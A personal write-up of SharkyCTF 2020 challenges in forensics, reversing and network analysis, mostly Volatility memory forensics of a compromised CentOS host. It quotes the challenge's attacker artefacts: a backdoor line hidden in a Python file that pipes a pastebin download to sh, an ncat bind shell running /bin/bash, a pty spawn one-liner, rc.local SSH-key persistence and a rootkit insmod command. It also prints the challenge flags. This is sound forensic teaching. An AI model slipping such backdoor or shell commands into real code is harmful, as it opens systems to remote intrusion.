15 minute read

SharkyCTF is a CTF organized during Sat, 09 May 2020 — Sun, 10 May 2020 . I participated with my CTF Team T-Regex and I was able to solve some challenges in three categories : Forensic, Reverse Engineering and Network. You will find below the write up for each challenge.

Forensic

Pain in the ass

It looks like someone dumped our database. Please help us know what has been leaked …

A pcapng file is given. Opening it with Wireshark, we see HTTP and PGSQL protocol.

OK so the database is a PostgreSQL. Looking closely we can see that the attacker is trying to enumerate the database.

Following the psgsql stream, we can see exactly what the attacker did.

It’s called an error based SQL Injection. Basically, when you use this kind of attack, you expect to have a different error ouput when you find a good char into the wanted field. In this screenshot, we can see that the output

USER-ALPHA....th3_fl4g_1s_n0t_h3r3D...+.....
USER-BETA....h3r3_1s_n0t_th3_fl4gD./.....
USER-GAMMA....l00k1ng_f0r_34sy_p01ntsD.........
USER-DELTA....3rr0r_b4s3d_1s_s0_34syC...

Only appears for one request, meaning that the forth char of the dev_username is an ‘i’. Applying this logic and following the stream, you can extract two informations :

dev_username = k3vin
dev_password = shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}

Here is our flag =]

EzDump

Build Me

There is a command containing a strange message in the bash history, will you be able to read it ? This challenge is in 7 steps (1 flag per step), if the flag you found doesn’t work it likely belong to another step :-)* You have to build the volatility profile.*

Once the dump is downloaded, I started my investigation. Since I need to build the volatility profile, I have to found out by myself what is the OS and kernel version.

To do that, I use my secret weapon :

$ strings dump.mem | grep "Linux version"

Linux version 3.10.0-1062.el7.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-36) (GCC) ) #1 SMP Wed Aug 7 18:08:02 UTC 2019

OOOK, we got :

  • the kernel version : 3.10.0-1062.el7.x86_64
  • the OS : Red Hat

Now we build the VM to generate our profile. I use CentOS 7.7, and guess what ? The kernel version is the same ! Nice.

I installed the linux-headers and linux-devel, as well as dwarfdump. Once everything is installed, I cloned the volatility repository and generated the profile

$ git clone https://github.com/volatilityfoundation/volatility.git
$ cd volatility/tools/linux/
$ make
$ zip sharky.zip module.dwarf /boot/System.map-3.10.0-1062.el7.x86_64

Now I can use volatility ! Do you remember the strange message in the bash history ? It’s time to look at this.

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_bash
Volatility Foundation Volatility Framework 2.6
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    2622 bash                 2020-05-07 14:56:16 UTC+0000   cd Documents/
    2622 bash                 2020-05-07 14:56:17 UTC+0000   echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
    2622 bash                 2020-05-07 14:56:25 UTC+0000   git clone https://github.com/tw0phi/PythonBackup
    2622 bash                 2020-05-07 14:56:28 UTC+0000   cd PythonBackup/
    2622 bash                 2020-05-07 14:56:33 UTC+0000   unzip PythonBackup.zip
    2622 bash                 2020-05-07 14:56:37 UTC+0000   python PythonBackup.py
    2622 bash                 2020-05-07 14:56:40 UTC+0000   sudo python PythonBackup.py
    2622 bash                 2020-05-07 14:57:05 UTC+0000   cooooooooooooooooooooooooool
    2622 bash                 2020-05-07 15:00:12 UTC+0000   cd
    2622 bash                 2020-05-07 15:00:15 UTC+0000   git clone https://github.com/504ensicsLabs/LiME
    2622 bash                 2020-05-07 15:00:19 UTC+0000   cd LiME/src/
    2622 bash                 2020-05-07 15:00:24 UTC+0000   make
    2622 bash                 2020-05-07 15:00:37 UTC+0000   sudo insmod lime-3.10.0-1062.el7.x86_64.ko "path=/Linux64.mem format=lime"
    2887 bash                 2020-05-07 14:59:42 UTC+0000   vim /etc/rc.local

Did you spot it ? Yes, weird echo, indeed…

$ echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" | base64 -d

shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

Here is the first flag !

Starting block

Our SOC took contact with us because a suspicious process appeared in the logs. Could you investigate ? Please retrieve :

  • PID of this suspicious process
  • Process name
  • Time of the launching

We are looking for suspiscious process. Let’s see what we can found

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_pslist
Volatility Foundation Volatility Framework 2.6
Offset             Name                 Pid             PPid            Uid             Gid    DTB                Start Time
------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ----------
0xffff9f60b64f3150 gnome-terminal-      2535            1               1000            1000   0x000000003cbfc000 2020-05-07 14:55:48 UTC+0000
0xffff9f6088721070 obexd                2591            1               1000            1000   0x0000000015ae8000 2020-05-07 14:55:49 UTC+0000
0xffff9f6095a4c1c0 gnome-pty-helpe      2621            2535            1000            1000   0x0000000033d94000 2020-05-07 14:55:49 UTC+0000
0xffff9f6095a4d230 bash                 2622            2535            1000            1000   0x000000003591c000 2020-05-07 14:55:49 UTC+0000
0xffff9f6081b83150 gvfsd-metadata       2779            1               1000            1000   0x0000000036f98000 2020-05-07 14:56:19 UTC+0000
0xffff9f60b64f5230 ncat                 2854            1               0               0      0x0000000033e20000 2020-05-07 14:56:54 UTC+0000
0xffff9f60a23541c0 bash                 2876            2854            0               0      0x000000001101e000 2020-05-07 14:57:11 UTC+0000
0xffff9f6095a4e2a0 python               2886            2876            0               0      0x000000003722c000 2020-05-07 14:57:20 UTC+0000
0xffff9f6095a48000 bash                 2887            2886            0               0      0x000000003c9ae000 2020-05-07 14:57:20 UTC+0000
0xffff9f609933d230 vim                  3196            2887            0               0      0x00000000380e6000 2020-05-07 14:59:41 UTC+0000
0xffff9f60935d0000 abrt-dbus

Huuuum, indeed the ncat process is rather suspicious. Following the definition given on nmap.org :

Ncat is a general-purpose command-line tool for reading, writing, redirecting, and encrypting data across a network.

This give us the flag : shkCTF{2854:ncat:2020-05-07 14:56:54} Submitting it, we can move forward

Entry Point

We do not understand how this process was launch. Take a look at what k3vin did to find out where is the backdoor.

Do you remember the bash history of the first task ? There was a git clone and execution of the downloaded code. What if… ? I did the same as k3vin, I downloaded the zip, unziped it… We have multiple python files. Reading everyone of them, I found this in app/snapshot.py:

def generateSnapshot(sourcePath):
    print('Generating snapshot..')
    ;os.system('wget -O - https://pastebin.com/raw/nQwMKjtZ 2>/dev/null|sh')
    files = generateFileList(sourcePath)

Following this link…

$ curl https://pastebin.com/raw/nQwMKjtZ

### Congratz : c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null &

$ echo "c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=" | base64 -d
shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

Third flag !

Compromised

We do not understand. We changed the password of k3vin but it look’s like someone can still access his account. Can you please find out how the hacker did ?

How could this be done ? Part of the answer is in the bash_history. What is this vim of /etc/rc.local ?

Looking on the internet, here is the usage of that file :

The script /etc/rc. local is for use by the system administrator. It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. You might use it to start a custom service

If we check the parent of the vim process, there is no more doubt.

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_pstree
Volatility Foundation Volatility Framework 2.6
Name                 Pid             Uid
systemd              1               -1
.systemd-journal     502
.lvmetad             519
.systemd-udevd       533
.gvfsd-metadata      2779            1000
.ncat                2854
..bash               2876
...python            2886
....bash             2887
.....vim             3196
.abrt-dbus           3271

So what is in this file ?

$ strings -d dump.mem | grep -A30 "/etc/rc.local"
#!/bin/sh
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxa8zsyblvEoajgtqciK2XAs1UwNAeV3RcXaacqicjzuad2jH7JQdIaqVW4jfEt8h7w+Rei1kZL/xqikGS/AGb2ZLqVSUKWF9afaeE850On4+c1A
0wu9nn/7N/t2QSnw71BZnvH35+qgENJzFGgFxJEsvZqbawFHD8B426qKFYD+LMAnnFtnrzFj8U+cewG6ODl0Obbe8yP/Awv0HYFdhK/IY+t7u2Ywrgp3bXF1l5m+Zk40BqpEYfFzhawYOc/tar1HqaJnYdvqHjwhZeDGYkIILvYt4veVc/DjVPX1UjLvlpWv1/AhmLAWgWyUORBwDjM5km0HjN/CY5kWoasXgd1jHD tw0phi@workstation

$ echo "c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=" | base64 -d
shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

Forth flag !

Attacker

We need to report this cyberattack. Please find out who is this asshole and what is one of the first thing he did ! Retrieve :

  • Attacker IP
  • Local port used by the attacker
  • The bash command using python

Following the manual:

Whatever the exec mode, Ncat sets environment variables in the spawned program’s environment that >describe the connection. NCAT_REMOTE_ADDR, NCAT_REMOTE_PORT The IP address and port number of the remote host. In connect mode, it’s the target’s address; in listen mode, it’s the client’s address. NCAT_LOCAL_ADDR, NCAT_LOCAL_PORT The IP address and port number of the local end of the connection. nmap.org

So I searched for NCAT_REMOTE_ADDR and NCAT_LOCAL_PORT with strings, which gave me :

  • NCAT_REMOTE_ADDR=192.168.49.1
  • NCAT_LOCAL_PORT=12345

For the bash command line :

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_psaux
Volatility Foundation Volatility Framework 2.6
[..]
2779   1000   1000   /usr/libexec/gvfsd-metadata
2854   0      0      ncat -lvp 12345 -4 -e /bin/bash
2876   0      0      /bin/bash
2886   0      0      python -c import pty; pty.spawn("/bin/bash")
2887   0      0      /bin/bash
3196   0      0      vim /etc/rc.local
[..]

Here is the flag : shkCTF{192.168.49.1:12345:python -c ‘import pty; pty.spawn(“/bin/bash”)’}

Backdoor

We are looking for a last backdoor inside our system. This one should probably be used to obtain root privileges. Please retrieve :

  • Backdoor name (with extension)
  • Value of the argument used
  • The hexadecimal address of the backdoor in memory

OK, so this task was completly new to me. My guess was that there is something with the kernel. This task can be done in different ways, I will show you two.

Alternative 1

First, I investigate the bash process spawn by python (remember the flag just before ?) I dumped the process memory, and run some strings on it

$ volatility --profile=Linuxouix64 -f dump.mem linux_dump_map -p 2887 -D map

I found two interesting strings:

  • hub.com/sharky-hacker/rk
  • key=”1337tibbartibbar

Huuum, the first one looks like a gihtub link, no ? Unfortunately, https://github.com/sharky-hacker/rk doesn’t exist (or… was it deleted ?)

Looking for the second strings, I found a very cool command : insmod sysemptyrect.ko crc65_key="1337tibbartibbar"

Following the manual :

insmod is a trivial program to insert a module into the kernel: if the filename is a hyphen, the module is taken from standard input

Seems like we found the backdoor… We got the name, and the argument value… How can we found the memory address ? When you don’t know, read the doc. So that’s what I did, here is the link : https://github.com/volatilityfoundation/volatility/wiki/Linux-Command-Reference#linux_lsmod

Using this command, I got this output :

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_lsmod

ffffffffc09c7020 lime -
	compress=0
	timeout=1000
	digest=(null)
	localhostonly=0
	format=lime
	dio=0
	path=/Linux64.mem
ffffffffc0a14020 sysemptyrect -
	crc65_key=1337tibbartibbar
ffffffffc09ee0c0 tcp_lp -
ffffffffc09b8040 nls_utf8 -
ffffffffc0a0e080 isofs -
ffffffffc0a01860 rfcomm -
	l2cap_ertm=Y
	l2cap_mtu=1013
	channel_mtu=-1
	disable_cfc=Y
ffffffffc09e61a0 fuse -
	max_user_congthresh=299
	max_user_bgreq=299

So our flag is : shkCTF{sysemptyrect.ko:1337tibbartibbar:0xffffffffc0a14020}

Alternative 2:

I wanted to show a different way of thinking on this one. Rootkit sometimes use dmesg as debugging output. And guess what ? Yes, volatility can retrieve this output.

$ volatility --profile=Linuxsharkyx64 -f dump.mem linux_dmesg

[28771118178.28] rfkill: input handler disabled
[32646041301.32] ISO 9660 Extensions: Microsoft Joliet Level 3
[32699961996.32] ISO 9660 Extensions: RRIP_1991A
[34342882866.34] TCP: lp registered
[172141977023.172] sysemptyrect: loading out-of-tree module taints kernel.
[172142219596.172] sysemptyrect: module verification failed: signature and/or required key missing - tainting kernel
[172143083725.172] CRC65: rdy to encrypt stuff!
[300788224353.300] ------------[ cut here ]------------
[300788229798.300] WARNING: CPU: 0 PID: 3217 at mm/vmalloc.c:1484 __vunmap+0xf2/0x100
[300788230901.300] Trying to vfree() bad address (6852565977646e55)
[300788231652.300] Modules linked in: sysemptyrect(OE) tcp_lp nls_utf8 isofs rfcomm fuse xt_CHECKSUM iptable_mangle ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ipt_REJECT nf_reject_ipv4 tun bridge stp llc ebtable_filter ebtables devlink ip6table_filter ip6_tables iptable_filter vmw_vsock_vmci_transport vsock bnep sunrpc snd_seq_midi snd_seq_midi_event iosf_mbi crc32_pclmul ghash_clmulni_intel ppdev snd_ens1371 btusb snd_rawmidi aesni_intel snd_ac97_codec btrtl btbcm ac97_bus btintel vmw_balloon lrw snd_seq gf128mul bluetooth glue_helper ablk_helper cryptd snd_seq_device snd_pcm joydev pcspkr snd_timer rfkill snd sg soundcore vmw_vmci i2c_piix4 parport_pc parport pcc_cpufreq ip_tables xfs libcrc32c sr_mod cdrom ata_generic
[300788258993.300]  pata_acpi sd_mod crc_t10dif crct10dif_generic vmwgfx drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm crct10dif_pclmul crct10dif_common nfit crc32c_intel drm libnvdimm ata_piix serio_raw mptspi scsi_transport_spi libata e1000 mptscsih mptbase drm_panel_orientation_quirks dm_mirror dm_region_hash dm_log dm_mod
[300788271159.300] CPU: 0 PID: 3217 Comm: git Tainted: G           OE  ------------   3.10.0-1062.el7.x86_64 #1
[300788272108.300] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019
[300788273058.300] Call Trace:
[300788276964.300]  [<ffffffffa8579262>] dump_stack+0x19/0x1b
[300788279532.300]  [<ffffffffa7e9a878>] __warn+0xd8/0x100
[300788281233.300]  [<ffffffffa7e9a8ff>] warn_slowpath_fmt+0x5f/0x80
[300788282718.300]  [<ffffffffa80023f2>] __vunmap+0xf2/0x100
[300788283996.300]  [<ffffffffa8002476>] vfree+0x36/0x70
[300788286116.300]  [<ffffffffc0a1263d>] syscall_callback+0x1cd/0x310 [sysemptyrect]
[300788290150.300]  [<ffffffffa858bede>] system_call_fastpath+0x25/0x2a
[300788291335.300] ---[ end trace 518bb9ed1eeeedb8 ]---

You can see some cool things here, like the name of the module and the “CRC65: rdy to encrypt stuff!”. You can now determine the name of the module.

Rootkit

Thank you, we found the rootkit.* Can you reverse it please ?*

Unfortunately, I wasn’t able to solve this last challenge, my reversing skills are not good enough… For now…

Reverse

z 3 r o b o t w a v e s

I made a robot that can only communicate with “z3”. He locked himself and now he is asking me for a password !

We got an ELF executable file. Running it, we have :

$ ./z3_robot
      \_/
     (* *)
    __)#(__
   ( )...( )(_)
   || |_| ||//
>==() | | ()/
    _(___)_
   [-]   [-]   Z3 robot says :z3 Z3Z3z3 Zz3 zz33 3Z Passz3rd? Zz3 zZ3 3Z Z3Z3z
-> hello
      \_/
     (* *)
    __)#(__
   ( )...( )(_)
   || |_| ||//
>==() | | ()/
    _(___)_
   [-]   [-]   Z3 robot says :
3Z Z3 z3 zz3 3zz33

OK… Opening Cutter, we see a really nice function name “check_flag”. I like when function have that kind of name. Opening the function, I disliked this function.

if (((((((((((uint8_t)(arg1[0x14] ^ 0x2bU) == arg1[7]) && ((int32_t)arg1[0x15] - (int32_t)arg1[3] == -0x14)) &&
              (arg1[2] >> 6 == '\0')) && ((arg1[0xd] == 't' && (((int32_t)arg1[0xb] & 0x3fffffffU) == 0x5f)))) &&
            ((uVar2 = (uint8_t)(arg1[0x11] >> 7) >> 5,
             (int32_t)arg1[7] >> ((arg1[0x11] + uVar2 & 7) - uVar2 & 0x1f) == 5 &&
             (((uint8_t)(arg1[6] ^ 0x53U) == arg1[0xe] && (arg1[8] == 'z')))))) &&
           ((uVar2 = (uint8_t)(arg1[9] >> 7) >> 5, (int32_t)arg1[5] << ((arg1[9] + uVar2 & 7) - uVar2 & 0x1f) == 0x188
            && (((((int32_t)arg1[0x10] - (int32_t)arg1[7] == 0x14 &&
                  (uVar2 = (uint8_t)(arg1[0x17] >> 7) >> 5,
                  (int32_t)arg1[7] << ((arg1[0x17] + uVar2 & 7) - uVar2 & 0x1f) == 0xbe)) &&
                 ((int32_t)arg1[2] - (int32_t)arg1[7] == -0x2b)) &&
                (((arg1[0x15] == '_' && ((uint8_t)(arg1[2] ^ 0x47U) == arg1[3])) &&
                 ((*arg1 == 'c' && ((arg1[0xd] == 't' && ((arg1[0x14] & 0x45U) == 0x44)))))))))))) &&
          ((arg1[8] & 0x15U) == 0x10)) && (((arg1[0xc] == '_' && (arg1[4] >> 4 == '\a')) && (arg1[0xd] == 't')))) &&
        (((((uVar2 = (uint8_t)(*arg1 >> 7) >> 5, (int32_t)*arg1 >> ((*arg1 + uVar2 & 7) - uVar2 & 0x1f) == 0xc &&
            (arg1[10] == '_')) &&
           ((((int32_t)arg1[8] & 0xacU) == 0x28 && ((arg1[0x10] == 's' && ((arg1[0x16] & 0x1dU) == 0x18)))))) &&
          ((arg1[9] == '3' &&
           ((((arg1[5] == '1' && (((int32_t)arg1[0x13] & 0x3fffffffU) == 0x72)) && (arg1[0x14] >> 6 == '\x01')) &&
            ((arg1[7] >> 1 == '/' && (arg1[1] == 'l')))))))) &&
         ((((((arg1[3] >> 4 == '\a' && (((arg1[0x13] & 0x49U) == 0x40 && (arg1[4] == 's')))) &&
             ((uint8_t)(arg1[0xb] & arg1[2]) == 0x14)) &&
            (((((*arg1 == 'c' && ((int32_t)arg1[5] + (int32_t)arg1[4] == 0xa4)) &&
               (((int32_t)arg1[0xf] & 0x3ffffffU) == 0x5f)) &&
              ((((uint8_t)(arg1[10] ^ 0x2bU) == arg1[0x11] && ((uint8_t)(arg1[0xc] ^ 0x2cU) == arg1[4])) &&
               (((int32_t)arg1[0x13] - (int32_t)arg1[0x15] == 0x13 && ((arg1[0xc] == '_' && (arg1[0xc] == '_')))))))) &&
             (arg1[0xf] >> 1 == '/')))) &&
           (((arg1[0x13] == 'r' && ((int32_t)arg1[0x12] + (int32_t)arg1[0x11] == 0xa8)) && (arg1[0x16] == ':')))) &&
          (((uint8_t)(arg1[0x15] & arg1[0x17]) == 9 &&
           (uVar2 = (uint8_t)(arg1[0x13] >> 7) >> 5,
           (int32_t)arg1[6] << ((arg1[0x13] + uVar2 & 7) - uVar2 & 0x1f) == 0x18c)))))))) &&
       (((((((int32_t)arg1[7] + (int32_t)arg1[3] == 0xd2 &&
            ((((int32_t)arg1[0x16] & 0xedU) == 0x28 && (((int32_t)arg1[0xc] & 0xacU) == 0xc)))) &&
           ((uint8_t)(arg1[0x12] ^ 0x6bU) == arg1[0xf])) &&
          ((((((((arg1[0x10] & 0x7aU) == 0x72 && ((*arg1 & 0x39U) == 0x21)) &&
               ((uint8_t)(arg1[6] ^ 0x3cU) == arg1[0x15])) && ((arg1[0x14] == 't' && (arg1[0x13] == 'r')))) &&
             (arg1[0xc] == '_')) &&
            (((arg1[2] == '4' && (arg1[0x17] == ')')) &&
             ((arg1[10] == '_' &&
              ((((uint8_t)(arg1[9] & arg1[0x16]) == 0x32 && ((int32_t)arg1[2] + (int32_t)arg1[3] == 0xa7)) &&
               ((int32_t)arg1[0x11] - (int32_t)arg1[0xe] == 0x44)))))))) &&
           (((arg1[0x15] == '_' && ((uint8_t)(arg1[0x13] ^ 0x2dU) == arg1[10])) &&
            ((((int32_t)arg1[0xc] & 0x3fffffffU) == 0x5f &&
             (((((arg1[6] & 0x40U) != 0 && ((uint8_t)(arg1[0x16] & arg1[0xc]) == 0x1a)) &&
               ((uVar2 = (uint8_t)(arg1[0x13] >> 7) >> 5,
                (int32_t)arg1[7] << ((arg1[0x13] + uVar2 & 7) - uVar2 & 0x1f) == 0x17c &&
                ((((uint8_t)(arg1[0x14] ^ 0x4eU) == arg1[0x16] && (arg1[6] == 'c')) && (arg1[0xc] == arg1[7])))))) &&
              (((int32_t)arg1[0x13] - (int32_t)arg1[0xd] == -2 && (arg1[0xe] >> 4 == '\x03')))))))))))) &&
         (((arg1[0xc] & 0x38U) == 0x18 &&
          (((uVar2 = (uint8_t)(arg1[10] >> 7) >> 5,
            (int32_t)arg1[8] << ((arg1[10] + uVar2 & 7) - uVar2 & 0x1f) == 0x3d00 && (arg1[0x14] == 't')) &&
           ((uVar2 = (uint8_t)(arg1[0x16] >> 7) >> 5,
            (int32_t)arg1[6] >> ((arg1[0x16] + uVar2 & 7) - uVar2 & 0x1f) == 0x18 &&
            (((((int32_t)arg1[0x16] - (int32_t)arg1[5] == 9 &&
               (uVar2 = (uint8_t)(arg1[0x16] >> 7) >> 5,
               (int32_t)arg1[7] << ((arg1[0x16] + uVar2 & 7) - uVar2 & 0x1f) == 0x17c)) && (arg1[0x16] == ':')) &&
             ((arg1[0x10] == 's' && ((uint8_t)(arg1[0x17] ^ 0x1dU) == arg1[0x12])))))))))))) &&
        ((((int32_t)arg1[0xe] + (int32_t)arg1[0x17] == 0x59 &&
          (((uint8_t)(arg1[2] & arg1[5]) == 0x30 && (((int32_t)arg1[0xf] & 0x9fU) == 0x1f)))) &&
         ((arg1[4] == 's' && (((uint8_t)(arg1[0x17] ^ 0x4aU) == *arg1 && ((uint8_t)(arg1[6] ^ 0x3cU) == arg1[0xb])))))))
        ))) {
        uVar1 = 1;
    } else {
        uVar1 = 0;
    }
    return uVar1;
}

Ok, What is going on here ? Seems like a biiiiiiiiiiiiig comparaison of our input with multiple steps. Looking closely, you can see that some char are initialized. arg1[0xc] == '_' for example.

Retrieving every piece of the puzzle :

arg1[0] = 'c'
arg1[1] == 'l'
arg1[2] == '4'
arg1[3] == 's'
arg1[4] == 's'
arg1[5] == '1'
arg1[6] == 'c'
arg1[7] == '_'
arg1[8] == 'z'
arg1[9] == '3'
arg1[10] == '_'
arg1[11] == '_'
arg1[12] == '_'
arg1[13] == 't'
arg1[14] == '0'
arg1[15] == '_'
arg1[16] == 's'
arg1[17] == 't'
arg1[18] == '4'
arg1[19] = 'r'
arg1[20] = 't'
arg1[21] = '_'
arg1[22] == ':'
arg1[23] == ')'

And here is our flag :

$ ./z3_robot
      \_/
     (* *)
    __)#(__
   ( )...( )(_)
   || |_| ||//
>==() | | ()/
    _(___)_
   [-]   [-]   Z3 robot says :z3 Z3Z3z3 Zz3 zz33 3Z Passz3rd? Zz3 zZ3 3Z Z3Z3z
-> cl4ss1c_z3___t0_st4rt_:)
      \_/
     (* *)
    __)#(__
   ( )...( )(_)
   || |_| ||//
>==() | | ()/
    _(___)_
   [-]   [-]   Z3 robot says :
Well done, valdiate with shkCTF{cl4ss1c_z3___t0_st4rt_:)}

Network

RattataTACACS

Silence is gold. I listen to every move on this network. And I think I got something interesting.

We are given a pcapng file. Opening it…

OK, so we got TFTP and TCACS+ protocol, interesting. Looking at the TFTP protocol, I was able to extract the R1config. This file the config file for Cisco router. Reading it, I see this line : tacacs-server host 192.168.1.100 key 7 0325612F2835701E1D5D3F2033 Looking on Google, I found this : https://www.ifm.net.nz/cookbooks/passwordcracker.html

Following my research :

If you put this key into the TACACS+ protocol settings of Wireshark (in the preferences screen expand the protocols area then scroll down to TACACS+), it will happily decrypt the captured packets networkingbodges.blogspot.com

Cooool, I did that, and reading the decrypted packets, I found :

Here we are :) !

Conclusion

This CTF was really fun, I personnaly liked the Forensic part, that was a fun dump. My team T-Regex finished 83th, and I finished 99th user. Not so bad !

GG at the organizers, specially 2phi for the forensic part. I will do it again next year :) !